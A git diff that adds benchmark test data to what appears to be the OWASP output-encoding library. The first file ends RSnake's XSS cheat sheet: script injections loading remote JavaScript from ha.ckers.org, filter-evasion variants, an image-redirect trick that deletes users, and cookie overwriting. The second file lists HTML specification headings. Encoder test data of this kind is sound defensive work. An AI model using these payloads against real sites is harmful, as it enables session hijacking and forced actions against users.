+tag (if they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:
+<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
+Using an OBJECT tag
+you can embed XSS directly (this is unverified so no browser support is added):
+<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
+Using an EMBED tag
+you can embed a Flash movie that contains XSS.
+Click here for a demo
+. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
+<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
+You can EMBED SVG
+which can contain your XSS vector. This example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to
+nEUrOO
+for this one.
+<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
+Using ActionScript
+inside flash can obfuscate your XSS vector:
+a="get"; b="URL(\""; c="javascript:"; d="alert('XSS');\")"; eval(a+b+c+d);
+XML namespace
+. The htc file must be located on the same server as your XSS vector:
+<HTML xmlns:xss> <?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"> <xss:xss>XSS</xss:xss> </HTML>
+XML data island
+with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by
+Sec Consult
+while auditing Yahoo:
+<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
+XML data island with comment obfuscation
+(this is another take on the same exploit that doesn't use CDATA fields, but rather uses comments to break up the javascript directive):
+<XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:alert('XSS')"&gt;</B></I></XML> <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
+Locally hosted XML with embedded JavaScript
+that is generated using an XML data island. This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result
+<XML SRC="xsstest.xml" ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
+HTML+TIME in XML
+. This is how
+Grey Magic hacked Hotmail and Yahoo!
+. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:
+<HTML><BODY> <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> <?import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;"> </BODY></HTML>
+Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript
+file to an image as an XSS vector:
+<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
+SSI
+(Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:
+<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->
+PHP
+- requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues:
+<? echo('<SCR)'; echo('IPT>alert("XSS")</SCRIPT>'); ?>
+IMG Embedded
+commands - this works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors:
+<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
+IMG Embedded commands part II
+- this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):
+Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
+Cookie manipulation
+- admittidly this is pretty obscure but I have seen a few examples where <META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):
+<META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;">
+UTF-7
+encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to
+for this one). Click
+for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported.
+Watchfire found this hole
+in Google's custom 404 script.:
+<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
+XSS using HTML quote encapsulation:
+This was tested in IE, your mileage may vary. For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter "/<script[^>]+src/i":
+<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+For performing XSS on sites that allow "<SCRIPT>" but don't allow "<script src..." by way of a regex filter "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" (this is an important one, because I've seen this regex in the wild):
+<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+Another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i":
+<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+Yet another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i". I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow <SCRIPT> tags but not remote script is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags):
+<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+And one last XSS attack to evade, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" using grave accents (again, doesn't work in Firefox):
+<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:
+<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:
+<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+URL string evasion (assuming "http://www.google.com/" is programmatically disallowed):
+IP verses hostname:
+<A HREF="http://66.102.7.147/">XSS</A>
+URL encoding:
+<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
+Dword encoding (Note: there are other of variations of Dword encoding - see the
+IP Obfuscation calculator below
+for more details):
+<A HREF="http://1113982867/">XSS</A>
+Hex encoding (the total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):
+<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
+Octal encoding (again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...):
+<A HREF="http://0102.0146.0007.00000223/">XSS</A>
+Mixed encoding (let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:
+<A HREF="h tt p://6&#9;6.000146.0x7.147/">XSS</A>
+Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to
+Ozh
+for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.
+<A HREF="//www.google.com/">XSS</A>
+Google "feeling lucky" part 1. Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatinate several keywords by using something like the following "keyword:XSS+RSnake" for instance. This no longer works within Firefox as of 2.0.
+<A HREF="//google">XSS</A>
+Google "feeling lucky" part 2. This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0:
+<A HREF="http://ha.ckers.org@google">XSS</A>
+Google "feeling lucky" part 3. This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"):
+<A HREF="http://google:ha.ckers.org">XSS</A>
+Removing cnames (when combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):
+<A HREF="http://google.com/">XSS</A>
+Extra dot for absolute DNS:
+<A HREF="http://www.google.com./">XSS</A>
+JavaScript link location:
+<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
+Content replace as attack vector (assuming "http://www.google.com/" is programmatically replaced with nothing). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (
+here is an example
+) to help create the attack vector (IE: "java&#x26;#x09;script:" was converted into "java&#x09;script:", which renders in IE, Netscape 8.1+ in secure site mode and Opera):
+<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>
+Character Encoding:
+All the possible combinations of the character "<" in HTML and JavaScript (in UTF-8). Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above (standards are great, aren't they?):
+< %3C &lt &lt; &LT &LT; &#60 &#060 &#0060 &#00060 &#000060 &#0000060 &#60; &#060; &#0060; &#00060; &#000060; &#0000060; &#x3c &#x03c &#x003c &#x0003c &#x00003c &#x000003c &#x3c; &#x03c; &#x003c; &#x0003c; &#x00003c; &#x000003c; &#X3c &#X03c &#X003c &#X0003c &#X00003c &#X000003c &#X3c; &#X03c; &#X003c; &#X0003c; &#X00003c; &#X000003c; &#x3C &#x03C &#x003C &#x0003C &#x00003C &#x000003C &#x3C; &#x03C; &#x003C; &#x0003C; &#x00003C; &#x000003C; &#X3C &#X03C &#X003C &#X0003C &#X00003C &#X000003C &#X3C; &#X03C; &#X003C; &#X0003C; &#X00003C; &#X000003C; \x3c \x3C \u003c \u003C
+Character Encoding Calculator
+ASCII Text:
+Enter your XSS here
+Hex Value:
+URL:
+HTML (with semicolons):
+Decimal Value:
+HTML (without semicolons):
+Base64 Value
+(
+a more robust base64 calculator can be found here
+)
+Base64:
+IP Obfuscation Calculator
+IP Address:
+: dword level
+Dword Address:
+Hex Address:
+Octal Address:
+Browser support reference table:
+Vector works in Internet Explorer 7.0. Most recently tested with Internet Explorer 7.0.5700.6 RC1, Windows XP Professional SP2.
+Vector works in Internet Explorer. Most recently tested with Internet Explorer 6.0.28.1.1106CO, SP2 on Windows 2000.
+Vector works in Netscape 8.1+ in IE rendering engine mode. Most recently tested with Netscape 8.1 on Windows XP Professional. This used to be called trusted mode, but Netscape has changed it's security model away from the trusted/untrusted model and has opted towards Gecko as a default and IE as an option.
+Vector works in Netscape 8.1+ in the Gecko rendering engine mode. Most recently tested with Netscape 8.1 on Windows XP Professional
+Vector works in Mozilla's Gecko rendering engine, used by Firefox. Most recently tested with Firefox 2.0.0.2 on Windows XP Professional.
+Vector works in Opera. Most recently tested with Opera 9.02, Build 8586 on Windows XP Professional
+Vector works in older versions of Netscape 4.0 - untested.
+Note: if a vector is not marked it either does not work or it is untested.
+Written in vim, and UTF-8 encoded, for her pleasure.
+All rights reserved, all wrongs observed.
+© 1995-2008
diff --git a/core/src/test/resources/org/owasp/encoder/benchmark-data-2.txt b/core/src/test/resources/org/owasp/encoder/benchmark-data-2.txt
new file mode 100644
index 0000000..da3e2d0
--- /dev/null
+++ b/core/src/test/resources/org/owasp/encoder/benchmark-data-2.txt
@@ -0,0 +1,4921 @@
+"already\n started"
+"already\n started"
+"already started"
+"current" position
+"force-async"
+"parser-inserted"
+"ready to be parser-executed"
+&lt;fragment&gt;
+&lt;host&gt;
+&lt;hostport&gt;
+&lt;meta name=""\n content=""&gt;
+&lt;path&gt;
+&lt;port&gt;
+&lt;query&gt;
+&lt;scheme&gt;
+&lt;script type=""&gt;
+5\n February 2004 W3C Patent Policy
+:active
+:checked
+:default
+:dir(ltr)
+:dir(rtl)
+:disabled
+:enabled
+:in-range
+:indeterminate
+:invalid
+:link
+:optional
+:out-of-range
+:read-only
+:read-write
+:required
+:valid
+:visited
+<abbr title="European Research\n Consortium for Informatics and Mathematics">ERCIM</abbr>
+<abbr title="Massachusetts\n Institute of Technology">MIT</abbr>
+<abbr title="World Wide\n Web Consortium">W3C</abbr>
+<code title="">Name</code>
+<code title="">application/x-www-form-urlencoded</code> encoding\n algorithm
+<code title="">application/x-www-form-urlencoded</code> encoding\n algorithm
+<code title="">data:</code>\n URL
+<code title="">data:</code>\n URL
+<code title="">data:</code> URL
+<code title="">form</code> element\n pointer
+<code title="">form</code> element pointer
+<code title="">head</code>\n element pointer
+<code title="">head</code> element\n pointer
+<code title="">head</code> element pointer
+<code title="">javascript:</code>\n URL
+<code title="">javascript:</code> URL
+<code title="">lang</code>\n attribute in the <span>XML namespace</span>
+<code title="">lang</code>\n attributes in the <span>XML namespace</span>
+<code title="">lang</code> attribute\n in the <span>XML namespace</span>
+<code title="">lang</code> attribute in the\n <span>XML namespace</span>
+<code title="">lang</code> attribute in the <span>XML\n namespace</span>
+<code title="">lang</code> attributes in\n the <span>XML namespace</span>
+<code title="">lang</code> attributes in the\n <span>XML namespace</span>
+<code title="">multipart/form-data</code> boundary string
+<code title="">multipart/form-data</code> encoding\n algorithm
+<code title="">multipart/form-data</code> encoding\n algorithm
+<code title="">text/plain</code> encoding\n algorithm
+<code title="attr-dropzone">dropzone</code> processing\n steps
+<code title="form">form</code> element\n pointer
+<code title="form">form</code> element pointer
+<code>CDATASection</code> nodes in the DOM are treated as\n equivalent to <code>Text</code> nodes
+<code>MediaStream</code> and\n <code>PeerConnection</code> events
+<code>XMLHttpRequest</code>
+<code>form</code> element\n pointer
+<code>form</code> element pointer
+<code>head</code> element
+<code>hreflang</code>\n attribute on <code>a</code> and <code>area</code>\n elements
+<code>html</code> element
+<code>iframe</code> <code title="attr-iframe-srcdoc">srcdoc</code> documents
+<code>input</code> type keyword
+<code>javascript:</code>\n URL
+<code>javascript:</code> URL
+<em>in</em> the\n <code>Document</code>
+<em>parent</em> browsing context
+<img alt="W3C" src="http://www.w3.org/Icons/w3c_home" height="48" width="72">
+<span class="secno">1 </span>Introduction
+<span class="secno">1.1 </span>Background
+<span class="secno">1.10 </span>Recommended reading
+<span class="secno">1.2 </span>Audience
+<span class="secno">1.3 </span>Scope
+<span class="secno">1.4 </span>History
+<span class="secno">1.5 </span>Design notes
+<span class="secno">1.5.1 </span>Serializability of script execution
+<span class="secno">1.5.2 </span>Compliance with other specifications
+<span class="secno">1.6 </span>HTML vs XHTML
+<span class="secno">1.7 </span>Structure of this specification
+<span class="secno">1.7.1 </span>How to read this specification
+<span class="secno">1.7.2 </span>Typographic conventions
+<span class="secno">1.8 </span>A quick introduction to HTML
+<span class="secno">1.8.1 </span>Writing secure applications with HTML
+<span class="secno">1.8.2 </span>Common pitfalls to avoid when using the scripting APIs
+<span class="secno">1.9 </span>Conformance requirements for authors
+<span class="secno">1.9.1 </span>Presentational markup
+<span class="secno">1.9.2 </span>Syntax errors
+<span class="secno">1.9.3 </span>Restrictions on content models and on attribute values
+<span class="secno">10 </span>Rendering
+<span class="secno">10.1 </span>Introduction
+<span class="secno">10.2 </span>The CSS user agent style sheet and presentational hints
+<span class="secno">10.3 </span>Non-replaced elements
+<span class="secno">10.3.1 </span>Hidden elements
+<span class="secno">10.3.10 </span>The <code>hr</code> element
+<span class="secno">10.3.11 </span>The <code>fieldset</code> element
+<span class="secno">10.3.2 </span>The page
+<span class="secno">10.3.3 </span>Flow content
+<span class="secno">10.3.4 </span>Phrasing content
+<span class="secno">10.3.5 </span>Bidirectional text
+<span class="secno">10.3.6 </span>Sections and headings
+<span class="secno">10.3.7 </span>Lists
+<span class="secno">10.3.8 </span>Tables
+<span class="secno">10.3.9 </span>Form controls
+<span class="secno">10.4 </span>Replaced elements
+<span class="secno">10.4.1 </span>Embedded content
+<span class="secno">10.4.2 </span>Timed text tracks
+<span class="secno">10.4.2.1 </span>WebVTT cue text rendering rules
+<span class="secno">10.4.2.2 </span>Applying CSS properties to <span title="WebVTT Node Object">WebVTT Node Objects</span>
+<span class="secno">10.4.2.3 </span>CSS extensions
+<span class="secno">10.4.2.3.1 </span>The '::cue' pseudo-element
+<span class="secno">10.4.2.3.2 </span>The ':past' and ':future' pseudo-classes
+<span class="secno">10.4.3 </span>Images
+<span class="secno">10.4.4 </span>Attributes for embedded content and images
+<span class="secno">10.4.5 </span>Image maps
+<span class="secno">10.4.6 </span>Toolbars
+<span class="secno">10.5 </span>Bindings
+<span class="secno">10.5.1 </span>Introduction
+<span class="secno">10.5.10 </span>The <code>input</code> element as a button
+<span class="secno">10.5.11 </span>The <code>marquee</code> element
+<span class="secno">10.5.12 </span>The <code>meter</code> element
+<span class="secno">10.5.13 </span>The <code>progress</code> element
+<span class="secno">10.5.14 </span>The <code>select</code> element
+<span class="secno">10.5.15 </span>The <code>textarea</code> element
+<span class="secno">10.5.16 </span>The <code>keygen</code> element
+<span class="secno">10.5.17 </span>The <code>time</code> element
+<span class="secno">10.5.2 </span>The <code>button</code> element
+<span class="secno">10.5.3 </span>The <code>details</code> element
+<span class="secno">10.5.4 </span>The <code>input</code> element as a text entry widget
+<span class="secno">10.5.5 </span>The <code>input</code> element as domain-specific widgets
+<span class="secno">10.5.6 </span>The <code>input</code> element as a range control
+<span class="secno">10.5.7 </span>The <code>input</code> element as a color well
+<span class="secno">10.5.8 </span>The <code>input</code> element as a checkbox and radio button widgets
+<span class="secno">10.5.9 </span>The <code>input</code> element as a file upload control
+<span class="secno">10.6 </span>Frames and framesets
+<span class="secno">10.7 </span>Interactive media
+<span class="secno">10.7.1 </span>Links, forms, and navigation
+<span class="secno">10.7.2 </span>The <code title="attr-title">title</code> attribute
+<span class="secno">10.7.3 </span>Editing hosts
+<span class="secno">10.7.4 </span>Text rendered in native user interfaces
+<span class="secno">10.8 </span>Print media
+<span class="secno">11 </span>Obsolete features
+<span class="secno">11.1 </span>Obsolete but conforming features
+<span class="secno">11.1.1 </span>Warnings for obsolete but conforming features
+<span class="secno">11.2 </span>Non-conforming features
+<span class="secno">11.3 </span>Requirements for implementations
+<span class="secno">11.3.1 </span>The <code>applet</code> element
+<span class="secno">11.3.2 </span>The <code>marquee</code> element
+<span class="secno">11.3.3 </span>Frames
+<span class="secno">11.3.4 </span>Other elements, attributes and APIs
+<span class="secno">12 </span>IANA considerations
+<span class="secno">12.1 </span><code>text/html</code>
+<span class="secno">12.2 </span><code>multipart/x-mixed-replace</code>
+<span class="secno">12.3 </span><code>application/xhtml+xml</code>
+<span class="secno">12.4 </span><code>application/x-www-form-urlencoded</code>
+<span class="secno">12.5 </span><code>text/cache-manifest</code>
+<span class="secno">12.6 </span><code>web+</code> scheme prefix
+<span class="secno">2 </span>Common infrastructure
+<span class="secno">2.1 </span>Terminology
+<span class="secno">2.1.1 </span>Resources
+<span class="secno">2.1.2 </span>XML
+<span class="secno">2.1.3 </span>DOM trees
+<span class="secno">2.1.4 </span>Scripting
+<span class="secno">2.1.5 </span>Plugins
+<span class="secno">2.1.6 </span>Character encodings
+<span class="secno">2.2 </span>Conformance requirements
+<span class="secno">2.2.1 </span>Conformance classes
+<span class="secno">2.2.2 </span>Dependencies
+<span class="secno">2.2.3 </span>Extensibility
+<span class="secno">2.3 </span>Case-sensitivity and string comparison
+<span class="secno">2.4 </span>UTF-8
+<span class="secno">2.5 </span>Common microsyntaxes
+<span class="secno">2.5.1 </span>Common parser idioms
+<span class="secno">2.5.10 </span>Media queries
+<span class="secno">2.5.2 </span>Boolean attributes
+<span class="secno">2.5.3 </span>Keywords and enumerated attributes
+<span class="secno">2.5.4 </span>Numbers
+<span class="secno">2.5.4.1 </span>Signed integers
+<span class="secno">2.5.4.2 </span>Non-negative integers
+<span class="secno">2.5.4.3 </span>Floating-point numbers
+<span class="secno">2.5.4.4 </span>Percentages and lengths
+<span class="secno">2.5.4.5 </span>Lists of integers
+<span class="secno">2.5.4.6 </span>Lists of dimensions
+<span class="secno">2.5.5 </span>Dates and times
+<span class="secno">2.5.5.1 </span>Months
+<span class="secno">2.5.5.2 </span>Dates
+<span class="secno">2.5.5.3 </span>Times
+<span class="secno">2.5.5.4 </span>Local dates and times
+<span class="secno">2.5.5.5 </span>Global dates and times
+<span class="secno">2.5.5.6 </span>Weeks
+<span class="secno">2.5.5.7 </span>Vaguer moments in time
+<span class="secno">2.5.6 </span>Colors
+<span class="secno">2.5.7 </span>Space-separated tokens
+<span class="secno">2.5.8 </span>Comma-separated tokens
+<span class="secno">2.5.9 </span>References
+<span class="secno">2.6 </span>URLs
+<span class="secno">2.6.1 </span>Terminology
+<span class="secno">2.6.2 </span>Parsing URLs
+<span class="secno">2.6.3 </span>Resolving URLs
+<span class="secno">2.6.4 </span>URL manipulation and creation
+<span class="secno">2.6.5 </span>Dynamic changes to base URLs
+<span class="secno">2.6.6 </span>Interfaces for URL manipulation
+<span class="secno">2.7 </span>Fetching resources
+<span class="secno">2.7.1 </span>Protocol concepts
+<span class="secno">2.7.2 </span>Encrypted HTTP and related security concerns
+<span class="secno">2.7.3 </span>Determining the type of a resource
+<span class="secno">2.7.4 </span>Extracting encodings from <code>meta</code> elements
+<span class="secno">2.7.5 </span>CORS settings attributes
+<span class="secno">2.7.6 </span>CORS-enabled fetch
+<span class="secno">2.8 </span>Common DOM interfaces
+<span class="secno">2.8.1 </span>Reflecting content attributes in IDL attributes
+<span class="secno">2.8.2 </span>Collections
+<span class="secno">2.8.2.1 </span>HTMLAllCollection
+<span class="secno">2.8.2.2 </span>HTMLFormControlsCollection
+<span class="secno">2.8.2.3 </span>HTMLOptionsCollection
+<span class="secno">2.8.3 </span>DOMStringMap
+<span class="secno">2.8.4 </span>Transferable objects
+<span class="secno">2.8.5 </span>Safe passing of structured data
+<span class="secno">2.8.6 </span>DOM feature strings
+<span class="secno">2.8.7 </span>Garbage collection
+<span class="secno">2.9 </span>Namespaces
+<span class="secno">3 </span>Semantics, structure, and APIs of HTML documents
+<span class="secno">3.1 </span>Documents
+<span class="secno">3.1.1 </span>Documents in the DOM
+<span class="secno">3.1.2 </span>Security
+<span class="secno">3.1.3 </span>Resource metadata management
+<span class="secno">3.1.4 </span>DOM tree accessors
+<span class="secno">3.1.5 </span>Loading XML documents
+<span class="secno">3.2 </span>Elements
+<span class="secno">3.2.1 </span>Semantics
+<span class="secno">3.2.2 </span>Elements in the DOM
+<span class="secno">3.2.3 </span>Global attributes
+<span class="secno">3.2.3.1 </span>The <code>id</code> attribute
+<span class="secno">3.2.3.2 </span>The <code>title</code> attribute
+<span class="secno">3.2.3.3 </span>The <code title="attr-lang">lang</code> and <code title="attr-xml-lang">xml:lang</code> attributes
+<span class="secno">3.2.3.4 </span>The <code>xml:base</code>\n attribute (XML only)
+<span class="secno">3.2.3.5 </span>The <code>dir</code> attribute
+<span class="secno">3.2.3.6 </span>The <code>class</code> attribute
+<span class="secno">3.2.3.7 </span>The <code>style</code> attribute
+<span class="secno">3.2.3.8 </span>Embedding custom non-visible data with the <code title="attr-data-*">data-*</code> attributes
+<span class="secno">3.2.4 </span>Element definitions
+<span class="secno">3.2.4.1 </span>Attributes
+<span class="secno">3.2.5 </span>Content models
+<span class="secno">3.2.5.1 </span>Kinds of content
+<span class="secno">3.2.5.1.1 </span>Metadata content
+<span class="secno">3.2.5.1.2 </span>Flow content
+<span class="secno">3.2.5.1.3 </span>Sectioning content
+<span class="secno">3.2.5.1.4 </span>Heading content
+<span class="secno">3.2.5.1.5 </span>Phrasing content
+<span class="secno">3.2.5.1.6 </span>Embedded content
+<span class="secno">3.2.5.1.7 </span>Interactive content
+<span class="secno">3.2.5.1.8 </span>Palpable content
+<span class="secno">3.2.5.2 </span>Transparent content models
+<span class="secno">3.2.5.3 </span>Paragraphs
+<span class="secno">3.2.6 </span>Requirements relating to bidirectional-algorithm formatting\n characters
+<span class="secno">3.2.7 </span>WAI-ARIA
+<span class="secno">3.3 </span>Interactions with XPath and XSLT
+<span class="secno">3.4 </span>Dynamic markup insertion
+<span class="secno">3.4.1 </span>Opening the input stream
+<span class="secno">3.4.2 </span>Closing the input stream
+<span class="secno">3.4.3 </span><code title="dom-document-write">document.write()</code>
+<span class="secno">3.4.4 </span><code title="dom-document-writeln">document.writeln()</code>
+<span class="secno">4 </span>The elements of HTML
+<span class="secno">4.1 </span>The root element
+<span class="secno">4.1.1 </span>The <code>html</code> element
+<span class="secno">4.10 </span>Forms
+<span class="secno">4.10.1 </span>Introduction
+<span class="secno">4.10.1.1 </span>Writing a form's user interface
+<span class="secno">4.10.1.2 </span>Implementing the server-side processing for a form
+<span class="secno">4.10.1.3 </span>Configuring a form to communicate with a server
+<span class="secno">4.10.1.4 </span>Client-side form validation
+<span class="secno">4.10.10 </span>The <code>datalist</code> element
+<span class="secno">4.10.11 </span>The <code>optgroup</code> element
+<span class="secno">4.10.12 </span>The <code>option</code> element
+<span class="secno">4.10.13 </span>The <code>textarea</code> element
+<span class="secno">4.10.14 </span>The <code>keygen</code> element
+<span class="secno">4.10.15 </span>The <code>output</code> element
+<span class="secno">4.10.16 </span>The <code>progress</code> element
+<span class="secno">4.10.17 </span>The <code>meter</code> element
+<span class="secno">4.10.18 </span>Association of controls and forms
+<span class="secno">4.10.19 </span>Attributes common to form controls
+<span class="secno">4.10.19.1 </span>Naming form controls
+<span class="secno">4.10.19.2 </span>Enabling and disabling form controls
+<span class="secno">4.10.19.3 </span>A form control's value
+<span class="secno">4.10.19.4 </span>Autofocusing a form control
+<span class="secno">4.10.19.5 </span>Limiting user input length
+<span class="secno">4.10.19.6 </span>Form submission
+<span class="secno">4.10.19.7 </span>Submitting element directionality
+<span class="secno">4.10.2 </span>Categories
+<span class="secno">4.10.20 </span>APIs for the text field selections
+<span class="secno">4.10.21 </span>Constraints
+<span class="secno">4.10.21.1 </span>Definitions
+<span class="secno">4.10.21.2 </span>Constraint validation
+<span class="secno">4.10.21.3 </span>The constraint validation API
+<span class="secno">4.10.21.4 </span>Security
+<span class="secno">4.10.22 </span>Form submission
+<span class="secno">4.10.22.1 </span>Introduction
+<span class="secno">4.10.22.2 </span>Implicit submission
+<span class="secno">4.10.22.3 </span>Form submission algorithm
+<span class="secno">4.10.22.4 </span>Constructing the form data set
+<span class="secno">4.10.22.5 </span>URL-encoded form data
+<span class="secno">4.10.22.6 </span>Multipart form data
+<span class="secno">4.10.22.7 </span>Plain text form data
+<span class="secno">4.10.23 </span>Resetting a form
+<span class="secno">4.10.3 </span>The <code>form</code> element
+<span class="secno">4.10.4 </span>The <code>fieldset</code> element
+<span class="secno">4.10.5 </span>The <code>legend</code> element
+<span class="secno">4.10.6 </span>The <code>label</code> element
+<span class="secno">4.10.7 </span>The <code>input</code> element
+<span class="secno">4.10.7.1 </span>States of the <code title="attr-input-type">type</code> attribute
+<span class="secno">4.10.7.1.1 </span>Hidden state
+<span class="secno">4.10.7.1.10 </span>Week state
+<span class="secno">4.10.7.1.11 </span>Time state
+<span class="secno">4.10.7.1.12 </span>Local Date and Time state
+<span class="secno">4.10.7.1.13 </span>Number state
+<span class="secno">4.10.7.1.14 </span>Range state
+<span class="secno">4.10.7.1.15 </span>Color state
+<span class="secno">4.10.7.1.16 </span>Checkbox state
+<span class="secno">4.10.7.1.17 </span>Radio Button state
+<span class="secno">4.10.7.1.18 </span>File Upload state
+<span class="secno">4.10.7.1.19 </span>Submit Button state
+<span class="secno">4.10.7.1.2 </span>Text state and Search state
+<span class="secno">4.10.7.1.20 </span>Image Button state
+<span class="secno">4.10.7.1.21 </span>Reset Button state
+<span class="secno">4.10.7.1.22 </span>Button state
+<span class="secno">4.10.7.1.3 </span>Telephone state
+<span class="secno">4.10.7.1.4 </span>URL state
+<span class="secno">4.10.7.1.5 </span>E-mail state
+<span class="secno">4.10.7.1.6 </span>Password state
+<span class="secno">4.10.7.1.7 </span>Date and Time state
+<span class="secno">4.10.7.1.8 </span>Date state
+<span class="secno">4.10.7.1.9 </span>Month state
